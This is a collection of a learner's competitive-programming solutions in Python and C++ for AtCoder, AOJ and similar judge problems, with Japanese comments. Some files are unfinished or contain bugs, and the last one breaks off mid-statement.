print('YES') if M % D == 0 else print('NO')<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
string A,B;
cin >> A;
cin >> B;
if (A.length() == B.length()) {
rep(i, A.length()){
if (A[i] < B[i]) {
cout << "LESS" << "\n";
return 0;
} else if (A[i] > B[i]) {
cout << "GREATER" << "\n";
return 0;
} else {
continue;
}
}
} else {
if (A.length() < B.length()) {
cout << "LESS" << "\n";
return 0;
} else {
cout << "GREATER" << "\n";
return 0;
}
}
cout << "EQUAL" << "\n";
return 0;
}
<file_sep>value = list(map(int,input().split()))
value.sort()
print(value[0]+value[1])<file_sep>import string
import sys
A = list(input())
ans = list()
ascii_lowercase = list(string.ascii_lowercase)
if A[-1] != 'a':
# 最後がaではない場合
A[-1] = ascii_lowercase[ascii_lowercase.index(A[-1])-1]
else:
# 最後がaの場合
if len(A) == 1:
print('-1')
sys.exit()
else:
print(A.pop())
sys.exit()
print(''.join(A))
<file_sep>import sys
target = list(map(int,input()))
if target[0]+target[1]+target[2]+target[3] == 7:
print(str(target[0])+'+'+str(target[1])+'+'+str(target[2])+'+'+str(target[3])+'=7')
sys.exit()
elif target[0]+target[1]+target[2]-target[3] == 7:
print(str(target[0])+'+'+str(target[1])+'+'+str(target[2])+'-'+str(target[3])+'=7')
sys.exit()
elif target[0]+target[1]-target[2]+target[3] == 7:
print(str(target[0])+'+'+str(target[1])+'-'+str(target[2])+'+'+str(target[3])+'=7')
sys.exit()
elif target[0]+target[1]-target[2]-target[3] == 7:
print(str(target[0])+'+'+str(target[1])+'-'+str(target[2])+'-'+str(target[3])+'=7')
sys.exit()
elif target[0]-target[1]+target[2]+target[3] == 7:
print(str(target[0])+'-'+str(target[1])+'+'+str(target[2])+'+'+str(target[3])+'=7')
sys.exit()
elif target[0]-target[1]+target[2]-target[3] == 7:
print(str(target[0])+'-'+str(target[1])+'+'+str(target[2])+'-'+str(target[3])+'=7')
sys.exit()
elif target[0]-target[1]-target[2]+target[3] == 7:
print(str(target[0])+'-'+str(target[1])+'-'+str(target[2])+'+'+str(target[3])+'=7')
sys.exit()
elif target[0]-target[1]-target[2]-target[3] == 7:
print(str(target[0])+'-'+str(target[1])+'-'+str(target[2])+'-'+str(target[3])+'=7')
sys.exit()<file_sep>A,B = map(int,input().split())
ans = list()
ans.append(A+B)
ans.append(A-B)
ans.append(A*B)
print(max(ans))<file_sep>import math
import itertools
N , D = map(int,input().split())
X_list = list()
count = 0
for i in range(N):
Inp = list(map(int,input().split()))
X_list.append(Inp)
for i in itertools.combinations(X_list,2):
distance = 0
for j in range(len(i[0])):
distance += abs(i[0][j]-i[1][j])**2
if math.sqrt(distance) % 1 == 0:
count += 1
print(count)
# try:
# for i in range(0,N):
# distance = 0
# for j in range(len(X_list[i])):
# distance += abs(X_list[i][j]-X_list[i+1][j])**2
# if math.sqrt(distance) % 1 == 0:
# print('X:',X_list[i][j],X_list[i+1][j])
# count += 1
# except IndexError:
# distance = 0
# for j in range(len(X_list[i])):
# print('X:',X_list[i][j],X_list[0][j])
# distance += abs(X_list[i][j]-X_list[0][j])**2
# if math.sqrt(distance) % 1 == 0:
# print('X:',X_list[i][j],X_list[0][j])
# count += 1
<file_sep>L = int(input())
L_t = L/3
print(L_t**3)
<file_sep># http://codeforces.com/contest/462/problem/C
"""
操作1
・毎回、Toastmanはグループの数字を得て、全ての数字を足し合わせ、スコアに足すことができる。
・その時、ToastmanはグループをApplemanに渡します
操作2
・毎回、Applemanはグループの中の1つの数字を得て、グループの外に出します。
・Applemanはグループの中から1つ以上の数字を得るたびに、2つの空ではないグループに分けて、
それぞれをToastmanに渡します。
"""
# listではなくて、heapqueを利用して実装し直す必要がある
N = int(input())
a = list(map(int, input().split()))
a.sort() # インプットを昇順にソート
ans = 0
a_sum = sum(a)
while len(a) > 0:
ans += a_sum # Toastmanの操作
b = a.pop(0) # Appleman split操作: 一番小さい数字だけsplitする ここはO(N)
a_sum -= b
if len(a) != 0:
# 最後の1回の時に余分に足されるのを防ぐ
ans += b # bだけToastmanに渡す
print(ans)
<file_sep>age = list(map(int,input().split()))
age.sort()
print(age[1])<file_sep>// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=DPL_1_A&lang=jp
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int n, m;
cin >> n >> m;
vector<int> c(m), dp(n+1, 50001);
rep(i, m) {
cin >> c.at(i);
}
dp[0] = 0;
for(int i = 0; i <= n; ++i) {
rep(j, m) {
if (i - c[j] < 0) break;
dp[i] = min(dp[i], dp[i - c[j]] + 1);
}
}
for(auto e: dp) {
cout << e << " ";
} cout << endl;
cout << dp[n] << endl;
return 0;
}
<file_sep>N,M = map(int,input().split())
drink = dict()
# 価格をkey, 本数をlist形式でvalueで格納するdict()
for i in range(N):
value,number = map(int,input().split())
drink.setdefault(value,[]).append(number)
drink = sorted(drink.items()) # 価格(key)を昇順ソート
value = 0
for i in drink:
# print('i:',i)
if M <= i[1][0] :
print('value:',M*i[0])
value += M*i[0]
M -= M
else:
print('value:',i[0]*i[1][0])
M -= i[1][0]
value += i[0]*i[1][0]
if M == 0:
break
print('残りM:',M)
print('value_sum:',value)
print(value) <file_sep>H,W = map(int,input().split())
a = list()
#入力
for i in range(H):
a_line = list(input())
a.append(a_line)
ans = list()
#全部白の行を削除
for line in a:
if {'#'} <= set(line):
ans.append(line)
column_list = list()
# 列
for column in range(len(ans[0])):
count = 0
# 行
for line in ans:
if line[column] == '.':
count += 1
else:
count = 0
break
if count == len(ans):
column_list.append(column)
column_list.sort(reverse=True)
for line_num in range(len(ans)):
for pop_column in column_list:
ans[line_num].pop(pop_column)
for line in ans:
print(''.join(line))
'''
# 全て白の列を求める
column_list = list()
# 列
for column in range(len(a[0])):
count = 0
# 行
for line in a:
if line[column] == '.':
count += 1
else:
count = 0
break
if count == len(a):
column_list.append(column)
ans = list()
# 全て白の行を削除
for pop_column in column_list:
for line_num in range(len(a)):
a[line_num].pop(pop_column)
if '#' in set(a[line_num]):
ans.append(a[line_num])
for line in ans:
print(''.join(line))
'''
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
auto tonaments(vector<pair<int, int>> targets) {
ll targets_length = targets.size();
for(ll i = 0; i < targets_length / 2; ++i) {
if (targets[i].second < targets[i+1].second) {
targets.erase(targets.begin() + i);
} else {
targets.erase(targets.begin() + i + 1);
}
}
if (targets.size() == 2) {
return targets;
} else {
tonaments(targets);
}
}
int main() {
int N;
cin >> N;
vector<pair<int, int>> A, finalist(2);
rep(i, pow(2, N)) {
ll a;
cin >> a;
A.push_back(make_pair(i+1, a));
}
finalist = tonaments(A); // ここでAbort trap: 6が発生
cout << finalist[0].second << " : " << finalist[1].second << endl;
if (finalist[0].second > finalist[1].second) {
cout << finalist[1].first << endl;
} else {
cout << finalist[0].first << endl;
}
return 0;
}
<file_sep># https://atcoder.jp/contests/keyence2020/tasks/keyence2020_a
H = int(input())
W = int(input())
N = int(input())
if N // H > N // W:
print((N // W) + 1 ) if N % W != 0 else print(N // W)
else:
print((N // H) + 1 ) if N % H != 0 else print(N // H)
# cylikさんの回答 こっちの方が一行でかけてて勉強になる
# print((N // max(H, W)) if N % max(H, W) == 0 else (N // max(H, W) + 1))
<file_sep>N = int(input())
if N % 2 == 0:
print(N)
else:
print(N*2)<file_sep>N = int(input())
Inp = list()
for i in range(N):
x , l = list(map(int,input().split()))
Inp.append([x-l,x+l])
# 右腕を基準にソートする
robots = sorted(Inp, key=lambda x: x[1])
# print(robots)
ans = 0
now = -float('inf')
for left,right in robots:
if left >= now:
ans += 1
now = right
print(ans)
<file_sep>import sys
num = input().replace(' ','')
#最大100100の数にも対応できる様にfor文を回す必要がある
for i in range(1,340):
if int(num) == i*i:
print('Yes')
sys.exit()
print('No')<file_sep>n = list(input())
time = 100
ans = 0
for i in range(len(n)):
if n[i] == '1':
ans += 9 * time
elif n[i] == '9':
ans += 1 * time
else:
ans += int(n[i])*time
time /= 10
print(int(ans))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i <= (double)(n); i++)
#define endl "\n"
int main() {
ll N;
vector<ll> que_a;
deque<ll> que_b;
cin >> N;
double target = pow(N, 0.5);
for(ll i=1; i*i <= N; ++i) {
if (N % i == 0) {
if (N / i != i) {
que_a.push_back(i);
que_b.push_front(N/i);
} else {
que_a.push_back(i);
break;
}
}
}
for (const auto& e: que_a) {
cout << e << endl;
}
for (const auto& e: que_b) {
cout << e << endl;
}
return 0;
}
<file_sep>lism = list(map(int,input().split()))
lism.sort()
if lism == [5,5,7]:
print('YES')
else:
print('NO')<file_sep>N = int(input())
A = list(map(int,input().split()))
answer = 0
a = True
while a:
count = 0
for i in range(N):
if A[i] % 2 == 0:
A[i] /= 2
count += 1
if count == N:
answer += 1
else:
a = False
break
print(answer)<file_sep>/*
http://poj.org/problem?id=3253
[8,5,8](=21)の場合、
21 + (21-8=13) = 34
つまり、一回のカットする長さは長い方が良いので、ソートして長い順にカットするようにアルゴリズムを作成する
*/
#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
ll N, L_i, long_boad=0, cost=0;
cin >> N;
vector<ll> L(N);
rep(i, N) {
cin >> L[i];
long_boad = long_boad + L[i];
}
sort(L.begin(), L.end()); // 昇順ソート
// for(auto e : L) {
// cout << e << " ";
// } cout << endl;
cost = long_boad;
// 長い部分からカットしていく
for (int i = N; i > 2; i-- ) {
cost = cost + (long_boad - L[i-1]);
long_boad = long_boad - L[i-1];
L.pop_back();
}
cout << cost << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
int N, T, A, pre_time=-1;
ll ans=0;
cin >> N >> T;
rep(i, N) {
cin >> A;
if (pre_time == -1) {
pre_time = A;
} else {
if (abs(pre_time - A) <= T) {
ans += abs(pre_time - A);
pre_time = A;
} else if (abs(pre_time - A) > T){
ans += T;
pre_time = A;
}
}
}
ans += T;
cout << ans << endl;
return 0;
}
<file_sep>import string
N = int(input())
S = list(input())
alphabet = list(string.ascii_uppercase)
ans = list()
for target in S:
# アルファベットをN個ずらす
# index out of rangeを防ぐために26で割ったあまりを求める
ans.append(alphabet[(alphabet.index(target)+N)%26])
print(''.join(ans))<file_sep>N = int(input())
ANS = 10**10 + 2
i = 1
while i * i <= N:
if (N % i == 0):
# print(i,' : ', int(N / i))
max_len = max(len(str(i)),len(str(int(N / i))))
ANS = min(ANS, max_len)
i += 1
print(ANS)
<file_sep>A,P = map(int,input().split())
print(int((P+A*3)/2))<file_sep>N = int(input())
if int(N%3) != 0:
print('NO')
else:
print('YES')<file_sep>N = int(input())
act = list()
#rangeを利用するため、数合わせで-1をつける
if N%2 ==0:
line = int(N/2)-1
else:
line = int(N/2)
for i in range(N,line,-1):
if N % i == 0:
j = int(N/i)
print(i,':',j)
act.append(abs(j-1)+abs(i-1))
print(min(act))<file_sep># 参考: https://neet-utsu-taro.hatenablog.jp/entry/atcoder-beginner-contest-abc-076
import copy
def ans(S_, T):
for i in range(len(S_) - len(T), -1, -1):
if isContainString(S_, T, i):
tmp = copy.deepcopy(S_)
for j in range(len(T)):
tmp[i + j] = T[j]
return ''.join(list(map(lambda v: v.replace('?', 'a'), tmp)))
return 'UNRESTORABLE'
def isContainString(S_, T, index):
for j in range(len(T)):
S_char = S_[index + j]
Tchar = T[j]
if S_char != '?' and Tchar != S_char:
return False
return True
if __name__ == '__main__':
S_ = list(input())
T = list(input())
print(ans(S_, T))
# 辞書順最小のために後ろから考える
# status = 0
# len_T = len(T)
# for i in range(len(S_) - 1, -1, -1):
# if (S_[i] == '?' or S_[i] == T[-1]) and len_T <= abs(i + 1):
# j = len(T) - 1
# i_ = copy.deepcopy(i)
# while j >= 0 and i_ >= 0:
# if S_[i_] == '?':
# status = 1
# elif S_[i_] == T[j]:
# status = 1
# else:
# status = 0
# break
# i_ -= 1
# j -= 1
# else:
# print('UNRESTORABLE')
# sys.exit()
# if status == 1:
# for cnt in range(len(T) - 1, -1, -1):
# S_[i] = T[cnt]
# i -= 1
# ans = list(map(lambda v: v.replace('?', 'a'), S_))
# print(''.join(ans))
# sys.exit()
# print('UNRESTORABLE')
<file_sep>N= int(input())
ans = 0
#Nまでの範囲で奇数のみ回す
for i in range(1,N+1,2):
# print(i)
count=0
#奇数のみを考えるので、1-200の間の奇数だけで考える
for j in range(1,200,2):
if j <= i and i % j ==0:
# print('j:',j)
count += 1
else:
continue
if count == 8:
ans += 1
print(ans)
<file_sep>import math
#素数判定
def is_prime(n):
if n == 1: return False
for k in range(2, int(math.sqrt(n)) + 1):
if n % k == 0:
return False
return True
A , B = map(int,input().split())
target = list()
target_max = math.gcd(A,B)
for i in range(1,target_max+1):
if A % i == 0 and B %i == 0:
target.append(str(i))
count = 0
if '1' in target :
count +=1
target.remove('1')
elif '2' in target:
count +=1
target.remove('2')
elif '3' in target:
count +=1
target.remove('3')
if len(target) >= 0:
for i in range(len(target)):
if is_prime(int(target[i])):
count+=1
print(count)<file_sep>import sys
N = int(input())
if N % 2 == 0:
print(int(N/2))
sys.exit()
else:
print(int(N/2)+1)
sys.exit()<file_sep>import sys
N = int(input())
if N == 11:
print(12)
sys.exit()
print((N+1)%12)<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N ,first_W, R, W;
string c;
cin >> N;
cin >> c;
rep(i, N) {
for(int i = 0; i < N; i++) {
if (c[i] = 'W') {
first_W = i;
break;
}
}
for()
}
return 0;
}
<file_sep>import sys
N = int(input())
S = list(input())
if N % 2 == 0:
T = S[:int(len(S)/2)]
T_end = S[int(len(S)/2):]
for i in range(len(T)):
if T[i] != T_end[i]:
print('No')
sys.exit()
print('Yes')
sys.exit()
else:
print('No')
<file_sep>S = list(map(str,input()))
S_set = set(S)
print('Yes') if len(S_set) != 1 else print('No')<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
vector<vector<string>> c(4, vector<string>(4));
for(int i = 3; i >= 0; --i) {
for(int j = 3; j >= 0; --j) {
cin >> c.at(i).at(j);
}
}
rep(i, 4) {
rep(j, 4) {
cout << c[i][j] << " ";
}
cout << endl;
}
return 0;
}
<file_sep>N,K = map(int,input().split())
H_input = list()
ABS = float('inf')
for i in range(N):
H_input.append(int(input()))
H_input.sort()
# print(H_input)
for i in range(N-K+1):
# print(H_input[i:(i+K)])
if ABS > (H_input[i+K-1] - H_input[i]):
# print('Before:',ABS)
ABS = H_input[i+K-1] - H_input[i]
# print('After:',ABS)
print(ABS)
<file_sep>import math
# 素数判定関数
def isPrime(num):
# 2未満の数字は素数ではない
if num < 2: return False
# 2は素数
elif num == 2: return True
# 偶数は素数ではない
elif num % 2 == 0: return False
# 3 ~ numまでループし、途中で割り切れる数があるか検索
# 途中で割り切れる場合は素数ではない
for i in range(3, math.floor(math.sqrt(num))+1, 2):
if num % i == 0:
return False
# 素数
return True
# 素数判定
def callIsPrime(input_num=1000):
prime_num = int()
number = input_num
while True:
if isPrime(number):
# 素数配列を返す
return number
else:
number += 1
N = int(input())
prime_num = callIsPrime(N/2)
count = 0
target = list()
ans = list()
number = 2
while N != 1:
prime = callIsPrime(number)
if N % prime != 0:
number = prime
continue # 次の素数に行く
else:
e = 1
while True:
z = prime ** e
for i in range(len(target)):
if z == target[i]:
e += 1
continue
target.append(int(prime_num[i] ** e))
N = int(N/(prime_num[i] ** e))
ans.append(N)
count += 1
break
numer = 2
# print(ans)
print(count)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, hh, mm, ss;
cin >> N;
hh = N / 3600;
N -= 3600*hh;
mm = N / 60;
N -= 60*mm;
ss = N;
printf("%02d:%02d:%02d\n", hh, mm, ss);
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int H, W;
string inp;
vector<string> C;
cin >> H >> W;
rep(i, H){
cin >> inp;
C.push_back(inp);
}
rep(i, H) {
cout << C.at(i) << "\n";
cout << C.at(i) << "\n";
}
return 0;
}
<file_sep>// しゃくとり法(two pointers)
// 問題:http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=DSL_3_C&lang=jp
// 参考:https://qiita.com/drken/items/ecd1a472d3a0e7db8dce
#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N,Q;
cin >> N >> Q;
vector<long long> a(N),x(Q);
rep(i, N) {
cin >> a.at(i);
}
rep(i, Q) {
cin >> x.at(i);
}
rep(i, Q) { // 各質問ごとに回していく
long long res = 0; // 合計値
int right = 0; // 考えている場所の右側の情報、使い回す
long long sum = 0; // 考えている部分の合計値、使い回す
for (int left = 0; left < N; ++left) {
// 今考えているセルの次の値を入れても問題がなければすすむ
while (right < N && sum + a[right] <= x[i]) {
sum += a[right];
++right;
}
// while文をbreakしたところが条件を満たす最大のところ
res += (right - left);
if (right == left) {
// leftはfor文で+1していくが、rightはしないので、
// rightとleftが重なった場合は、ここで ++rightしてあげる必要がある
++right;
} else {
// leftを +1するので、その分sumから引いておく
sum -= a[left];
}
}
cout << res << endl;
}
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i,n) for (int i = 0; i < (n); i++)
// 隣接リスト グラフ, 可変長配列
vector<int> to[100005];
int dp[100005];
int DP(int i) {
if (dp[i] != -1) {
return dp[i];
}
int tmp = 0;
for(auto e : to[i]) {
tmp = max(tmp, DP(e) + 1);
}
dp[i] = tmp;
return tmp;
}
int main(void){
int N, M;
cin >> N >> M;
rep(i, M) {
int x, y;
cin >> x >> y;
x--, y--;
to[x].push_back(y);
}
// dp初期化
rep(i, 100005) {
dp[i] = -1;
}
// 出力
int ans = 0;
rep(i, N){
ans = max(ans, DP(i));
}
cout << ans << endl;
return 0;
}
<file_sep># https://qiita.com/wasshoy/items/b47da0eb043a6c173c97#c
import sys
n, m = map(int, input().split())
sc = list()
for i in range(m):
sc.append(list(map(int, input().split())))
ans = float('inf')
k = 0
if n == 2: k = 10
elif n == 3: k = 100
for i in range(k, 1000):
flg = True
for s, c in sc:
if list(str(i))[s - 1] == str(c):
continue
else:
flg = False
if flg:
print(i)
sys.exit()
print(-1)
<file_sep>b = str(input())
base = {'A':'T','T':'A','C':'G','G':'C'}
print(base[b])<file_sep>import sys
N,K = map(int,input().split())
if N < K:
print(min(abs(N-K),N))
sys.exit()
if N % K == 0:
print(0)
else:
print(min(abs((N%K)-K),N%K))
<file_sep>#include <bits/stdc++.h>
#define rep(i,n) for (int i = 0; i < (n); i++)
using namespace std;
const int INF = 2000008;
// 隣接リスト グラフ, 可変長配列
vector<int> to[100005];
int main() {
int n, m;
cin >> n >> m;
rep(i, m) {
int a, b;
cin >> a >> b;
--a; --b; // 扱いやすいように0スタートにする(decrement)
// 各頂点ごとに配列を持っておき、繋がっている頂点のリストをもつ
to[a].push_back(b);
to[b].push_back(a);
}
queue<int> q;
vector<int> dist(n, INF);
vector<int> pre(n, -1);
dist[0] = 0;
q.push(0);
// 計算量 o(2N) (o(N))
// ⇨ 各頂点一回ずつしかみていない
while(!q.empty()) {
int v = q.front(); q.pop();
for (int u : to[v]) { // to[v] = 頂点vの隣の頂点のリスト
if (dist[u] != INF) continue; // その頂点の距離がわかっている時
dist[u] = dist[v] + 1;
pre[u] = v; // 頂点uに繋がる、(一個手前の)頂点v
q.push(u);
}
}
// 結果の出力
cout << "Yes" << endl; // この問題は常に"Yes" らしい(?)
rep(i,n) {
if (i == 0) continue;
int ans = pre[i];
++ans;
cout << ans << endl;
}
return 0;
}
<file_sep>S = list(map(str,input()))
gap =1000 #初期gap、最大753
for i in range(len(S)-2):
target=S[int(i):int(i)+3]#ターゲットの切り出し
# print('target:',target)
# print(abs(753 - int(''.join(target))))
if gap > abs(753 - int(''.join(target))):
gap = abs(753 - int(''.join(target)))
print(gap)<file_sep>A,B,C = map(int,input().split())
print('Yes') if A+B>=C else print('No')<file_sep>a, b = map(int, input().split())
if (a+b >= 15 and b >= 8):
print(1)
exit()
if (a+b >= 10 and b >= 3):
print(2)
exit()
if (a+b >= 3):
print(3)
exit()
print(4)<file_sep>N, K = map(int,input().split())
R, S, P = map(int,input().split())
T = list(input())
ans = list()
score = 0
for i in range(N):
if K == 1:
K = 2
if i < K-1:
# K回までは全部勝つ手を出すことができる
if T[i] == 'r':
score += P
ans.append('p')
elif T[i] == 's':
score += R
ans.append('r')
else:
score += S
ans.append('s')
else:
# K回前の手を見る必要がある
if T[i] == 'r' and ans[i-K] != 'p':
score += P
ans.append('p')
elif T[i] == 's' and ans[i-K] != 'r':
score += R
ans.append('r')
elif T[i] == 'p' and ans[i-K] != 's':
score += S
ans.append('s')
else:
if T[i] == 'r':
ans.append('r')
elif T[i] == 's':
ans.append('s')
else:
ans.append('p')
print(T[i],':',score)
print(ans)
print(score)<file_sep>N = int(input())
A = list(map(int,input().split()))
denominator = int()
for i in A:
denominator += 1/i
print(1/denominator) <file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
int main() {
ll N, W, line;
cin >> N >> W;
vector<vector<ll>> DP(N+1, vector<ll>(W+1, 0));
vector<ll> w(N), v(N);
rep(i, N) {
cin >> w[i] >> v[i];
}
for(int i=0; i < N; ++i) {
for(int j=0; j <= W; ++j) {
if (j < w[i]) {
DP[i+1][j] = DP[i][j];
} else {
DP[i+1][j] = max(DP[i][j], DP[i][j-w[i]]+v[i]);
}
}
}
cout << DP[N][W] << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
using Graph = vector<vector<int> >;
Graph G;
void dfs(int v, vector<bool> &seen, int &res) {
bool end = true;
for(int i = 0; i < seen.size(); ++i) {
if (!seen[i] && i != v) {
end = false;
}
}
if (end) {
++res;
return;
}
seen[v] = true;
for (auto nv : G[v]) {
if (seen[nv]) continue;
dfs(nv, seen, res);
}
seen[v] = false;
}
int main() {
int N, M, a, b;
cin >> N >> M;
G.assign(N, vector<int>()); // 縦N行の2次元配列
rep(i, M) {
cin >> a >> b; --a, --b;
G[a].push_back(b);
G[b].push_back(a);
}
vector<bool> seen(N, false);
int res = 0;
dfs(0, seen, res);
cout << res << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
int main() {
int N, T, i, c, t, ans_c = 1005, ans_t = 0;
cin >> N >> T;
for (i = 0; i < N; i++) {
cin >> c >> t;
if (t <= T && c <= ans_c) {
ans_c = c;
}
}
if (ans_c == 1005) {
cout << "TLE" << endl;
return 0;
}
cout << ans_c << endl;
return 0;
}
<file_sep>from math import gcd
K = int(input())
ans = 0
for i in range(1,K+1):
for j in range(1,K+1):
ab = gcd(i,j)
if ab == 0:
continue
for k in range(1,K+1):
ans += gcd(ab,k)
print(ans)
<file_sep>X, A, B = map(int,input().split())
if B-A <= 0:
print('delicious')
elif abs(A-B) <= X:
print('safe')
else:
print('dangerous')<file_sep>import math
import copy
N = int(input())
A = list(map(int,input().split()))
A_dict = dict()
for i in range(N):
if A_dict.get(A[i]) is not None:
A_dict[A[i]] += 1
else:
A_dict[A[i]] = 1
# 各キーが選ばれたときの答えを求めてdict型で持っておく
ans = dict()
for K,V in A_dict.items():
count = 0
A_dict_2 = copy.deepcopy(A_dict) # 辞書をオリジナルからコピー,deepcopy
A_dict_2[K] -= 1 # そのキーを取り出した想定
for k,v in A_dict_2.items():
if v >= 2:
count += int(math.factorial(v)/(2*math.factorial(v-2)))
ans[K] = count
for i in range(N):
print(ans[A[i]])
<file_sep>S,T = map(str,input().split())
A,B = map(int,input().split())
U = str(input())
if U == S:
print(A-1,B)
else:
print(A,B-1)<file_sep>N = int(input())
ans = 0
for i in range(1,N+1):
ans += i*10000*(1/N)
print(ans)
<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
#define endl "\n"
// 斜めは永遠に行けるので、グリッドを市松模様(白黒)にしたときに同じ色には
// 一手で移動できる
int solve() {
int x1, x2, y1, y2;
cin >> x1 >> y1;
cin >> x2 >> y2;
// 0手でいけるところ
if (x1 == x2 && y1 == y2) return 0;
// 1手でいけるところ
if (x1+y1 == x2+y2) return 1;
if (x1-y1 == x2-y2) return 1;
if (abs(x1-x2)+abs(y1-y2) <= 3) return 1;
// 2手でいけるところ
if ((x1+y1)%2 ==(x2+y2)%2) return 2;
if (abs(x1-x2)+abs(y1-y2) <= 6) return 2;
if (abs((x1+y1)-(x2+y2)) <= 3) return 2;
if (abs((x1-y1)-(x2-y2)) <= 3) return 2;
return 3;
}
int main() {
cout << solve() << endl;
return 0;
}
<file_sep>#include <bits/stdc++.h>
using namespace std;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
long long N, P, ans = 1;
cin >> N >> P;
vector<pair<long long, long long> > ress;
for(long long i = 2; i * i <= P; ++i) {
if (P % i != 0) {
continue;
}
long long ex = 0; // 指数
while (P % i == 0) {
++ex;
P /= i;
}
// 結果を保存
ress.push_back({i, ex});
}
// 残った数字の処理
if (P != 0) {
ress.push_back({P, 1});
}
// 各素因数の指数を均等にN個に分ける(int/int = int)
for (pair<long long, long long> res : ress) {
if (res.second >= N ) {
ans *= pow(res.first, (res.second / N));
}
}
cout << ans << endl;
return 0;
}
<file_sep>N = list(map(int,input()))
count = 1
for i in range(3):
if N[i] == N[i+1]:
count += 1
if count == 3:
break
else:
count = 1
print('Yes') if count >= 3 else print('No')<file_sep>age = int(input())
if age == 1:
print('Hello World')
else:
A = int(input())
B = int(input())
print(A+B)<file_sep>target = list(map(int,input().split()))
target.sort(reverse=True)
print((target[0]*10+target[1])+target[2])<file_sep>A,B,C = map(int,input().split())
print(int(C/min(A,B)))<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 0; i < (int)(n); i++)
int main() {
int N, left = 0, right = 0;
cin >> N;
vector<int> a(N);
rep(i, N) {
cin >> a.at(i);
}
ll count_ans = 0;
for (int left = 0; left < N; ++left) {
if (right != 0) {
while (right < N && a[right - 1] < a[right]) {
++right;
}
}
// cout << left << ":" << right << "=" << (right - left) << "\n";
if (left != right) {
count_ans += (right - left)+1;
}
if(right == left) {
++count_ans;
++right;
}
}
cout << count_ans << "\n";
return 0;
}
<file_sep>import sys
N = int(input())
word = list()
for i in range(N):
word.append(input())
word_set = set(word)
if len(word) != len(word_set): # 同じ単語が使われた時
print('No')
sys.exit()
for i in range(N):
alphabet = list(word[i])
if i != 0 and last != alphabet[0]:
print('No')
sys.exit()
last = alphabet[-1]
print('Yes')<file_sep>#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
#define rep(i, n) for (int i = 1; i <= (int)(n); i++)
#define endl "\n"
int main() {
ll N, K;
cin >> N >> K;
// 1~N+1 で考える
vector<ll> h(N+1), dp(N+1, 10000007777);
rep(i, N) {
// 1から開始する
cin >> h.at(i);
}
dp[1] = 0;
for(ll i = 1; i <= N; ++ i) {
for(ll j = i; j <= min(i+K, N); ++j) {
dp[j] = min(dp[j], dp[i]+abs(h[j]-h[i]));
}
// cout << "i: " << i << "j+k: " << i+K << endl;
// for(const auto& e: dp) {
// cout << e << " ";
// } cout << endl;
}
cout << dp[N] << endl;
return 0;
}
<file_sep>x,y = map(int,input().split())
print('Better') if x <= y else print('Worse')
<file_sep>N = int(input())
A = list(map(int,input().split()))
A_set = set(A)
print('YES') if len(A) == len(A_set) else print('NO')<file_sep>from collections import defaultdict
n, m = [int(i) for i in input().split()]
h = [0] + list(map(int, input().split()))
peak = defaultdict(list)
for _ in range(m):
p1, p2 = list(map(int, input().split()))
peak[p1].append(p2)
peak[p2].append(p1)
# print(peak)
cnt = 0
for k, roads in peak.items():
total = len(roads)
subtotal = 0 # kより高さが低い展望台の数
for road in roads:
if h[road] < h[k]:
subtotal += 1
if subtotal == total:
cnt += 1
cnt += n - len(peak)
print(cnt)
<file_sep>import sys
# ch のジャッジをする関数
def judge_ch(X_1,X_2):
if X_1 == 'c' and X_2 == 'h':
return True
else:
return False
X = list(input())
if len(X) == 0:
print('YES')
sys.exit()
for i in range(len(X)):
if X[i] == 'o' or X[i] == 'k' or X[i] == 'u':
True
elif X[i] == 'c' and judge_ch(X[i],X[i+1]):
True
elif X[i] == 'h' and judge_ch(X[i-1],X[i]):
True
else:
print('NO')
sys.exit()
print('YES')
<file_sep>N = int(input())
A,B = map(int,input().split())
P = list(map(int,input().split()))
A_list,B_list,C_list = list(),list(),list()
for i in range(len(P)):
if P[i] <= A:
A_list.append(P[i])
elif A+1<=P[i] and P[i] <= B:
B_list.append(P[i])
else:
C_list.append(P[i])
print(min(len(A_list),len(B_list),len(C_list)))<file_sep>def key_func(n):
return len(n)
A = str(input())
B = str(input())
target = [A,B]
print(max(target, key=key_func))<file_sep>N = int(input())
a = list(map(int,input().split()))
pre_len = len(a) # 最初の長さ
ans = list()
target = 1
for i in range(N):
if a[i] == target:
ans.append(i+1)
target += 1
if len(ans) == 0:
print(-1)
else:
